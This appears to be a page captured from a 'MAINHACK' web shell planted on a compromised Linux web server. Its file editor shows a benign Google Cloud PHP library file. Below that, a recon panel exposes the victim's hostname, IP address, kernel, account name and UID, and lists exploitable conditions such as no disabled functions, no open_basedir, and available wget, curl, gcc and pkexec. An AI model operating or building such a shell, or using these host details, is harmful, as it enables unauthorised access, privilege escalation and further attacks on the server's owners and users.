[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RequestHandler.php
<?php /** * Copyright 2023 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Cloud\Core; use Google\ApiCore\Serializer; use Google\Cloud\Core\ArrayTrait; use Google\Cloud\Core\Exception\NotFoundException; use Google\Cloud\Core\Exception\ServiceException; use Google\Cloud\Core\TimeTrait; use Google\Cloud\Core\WhitelistTrait; use \Google\Protobuf\Internal\Message; use Google\ApiCore\ApiException; use Google\ApiCore\OperationResponse; /** * @internal * Responsible for forwarding the requests to their * respective client methdos via the request wrapper. */ class RequestHandler { use EmulatorTrait; use ArrayTrait; use TimeTrait; use WhitelistTrait; use RequestProcessorTrait; /** * @var Serializer */ private Serializer $serializer; private array $clients; /** * @param Serializer $serializer * @param array $clientClasses * @param array $clientConfig */ public function __construct( Serializer $serializer, array $clientClasses, array $clientConfig = [] ) { //@codeCoverageIgnoreStart $this->serializer = $serializer; $clientConfig['serializer'] = $serializer; // Adds some defaults // gccl needs to be present for handwritten clients $clientConfig += [ 'libName' => 'gccl', 'emulatorHost' => null ]; if ((bool) $clientConfig['emulatorHost']) { $emulatorConfig = $this->emulatorGapicConfig($clientConfig['emulatorHost']); $clientConfig = array_merge( $clientConfig, $emulatorConfig ); } //@codeCoverageIgnoreEnd // Initialize the client classes and store them in memory $this->clients = []; foreach ($clientClasses as $className) { $this->clients[$className] = new $className($clientConfig); } } /** * Helper function that forwards the request to a client obj. * * @param string $clientClass The request will be forwarded to this client class. * @param string $method This method needs to be called on the client obj. * @param Message $request The protobuf Request instance to pass as the first argument to the $method. * @param array $optionalArgs The optional args. * @param bool $whitelisted This decides the behaviour when a NotFoundException is encountered. * * @return \Generator|OperationResponse|array|null * * @throws ServiceException */ public function sendRequest( string $clientClass, string $method, Message $request, array $optionalArgs, bool $whitelisted = false ) { $clientObj = $this->getClientObject($clientClass); if (!$clientObj) { return null; } $allArgs = [$request]; $allArgs[] = $optionalArgs; try { $callable = [$clientObj, $method]; $response = call_user_func_array($callable, $allArgs); return $this->handleResponse($response); } catch (ApiException $ex) { throw $this->convertToGoogleException($ex); } catch (NotFoundException $e) { if ($whitelisted) { throw $this->modifyWhitelistedError($e); } throw $e; } } /** * Helper function that returns a client object stored in memory * using the client class as key. * @param $clientClass The client class whose object we need. * @return mixed */ private function getClientObject(string $clientClass) { return $this->clients[$clientClass] ?? null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002